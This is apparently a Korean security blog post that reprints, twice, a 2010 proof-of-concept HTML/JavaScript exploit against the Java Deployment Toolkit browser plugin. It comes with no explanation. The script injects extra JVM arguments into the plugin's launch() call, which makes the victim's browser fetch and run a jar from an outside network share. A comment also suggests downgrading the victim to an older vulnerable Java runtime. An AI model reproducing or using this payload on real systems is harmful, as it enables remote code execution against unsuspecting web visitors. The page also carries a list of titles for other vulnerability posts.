Java Deployment Toolkit Test Page
vulnerability 2010. 4. 19. 11:09 |<html>
<head><title>Java Deployment Toolkit Test Page</title></head>
<body>
<script>
// Tavis Ormandy <taviso@sdf.lonestar.org>, April 2010
var u = "http: -J-jar -J\\\\lock.cmpxchg8b.com\\calc.jar none";
if (window.navigator.appName == "Microsoft Internet Explorer") {
var o = document.createElement("OBJECT");
o.classid = "clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA";
// Trigger the bug
o.launch(u);
} else {
// Mozilla
var o = document.createElement("OBJECT");
var n = document.createElement("OBJECT");
o.type = "application/npruntime-scriptable-plugin;deploymenttoolkit";
n.type = "application/java-deployment-toolkit";
document.body.appendChild(o);
document.body.appendChild(n);
// Test both MIME types
try {
// Old type
o.launch(u);
} catch (e) {
// New type
n.launch(u);
}
}
// Bonus Vulnerability, why not downgrade victim to a JRE vulnerable to
// this classic exploit?
// http://sunsolve.sun.com/search/document.do?assetkey=1-66-244991-1
// o.installJRE("1.4.2_18");
</script>
</body>
</html>
<head><title>Java Deployment Toolkit Test Page</title></head>
<body>
<script>
// Tavis Ormandy <taviso@sdf.lonestar.org>, April 2010
var u = "http: -J-jar -J\\\\lock.cmpxchg8b.com\\calc.jar none";
if (window.navigator.appName == "Microsoft Internet Explorer") {
var o = document.createElement("OBJECT");
o.classid = "clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA";
// Trigger the bug
o.launch(u);
} else {
// Mozilla
var o = document.createElement("OBJECT");
var n = document.createElement("OBJECT");
o.type = "application/npruntime-scriptable-plugin;deploymenttoolkit";
n.type = "application/java-deployment-toolkit";
document.body.appendChild(o);
document.body.appendChild(n);
// Test both MIME types
try {
// Old type
o.launch(u);
} catch (e) {
// New type
n.launch(u);
}
}
// Bonus Vulnerability, why not downgrade victim to a JRE vulnerable to
// this classic exploit?
// http://sunsolve.sun.com/search/document.do?assetkey=1-66-244991-1
// o.installJRE("1.4.2_18");
</script>
</body>
</html>
'vulnerability' 카테고리의 다른 글
| LNK 파일 생성기(Windows LNK Vulnerability) (1) | 2010.07.27 |
|---|---|
| html file upload form (0) | 2010.06.24 |
| XE 1.4.0.10 XSS/CSRF 취약점 (0) | 2010.04.16 |
| FCK Editor (0) | 2010.04.11 |
| Zeroboard에서 발생한 Mass Sql Injection (0) | 2010.01.26 |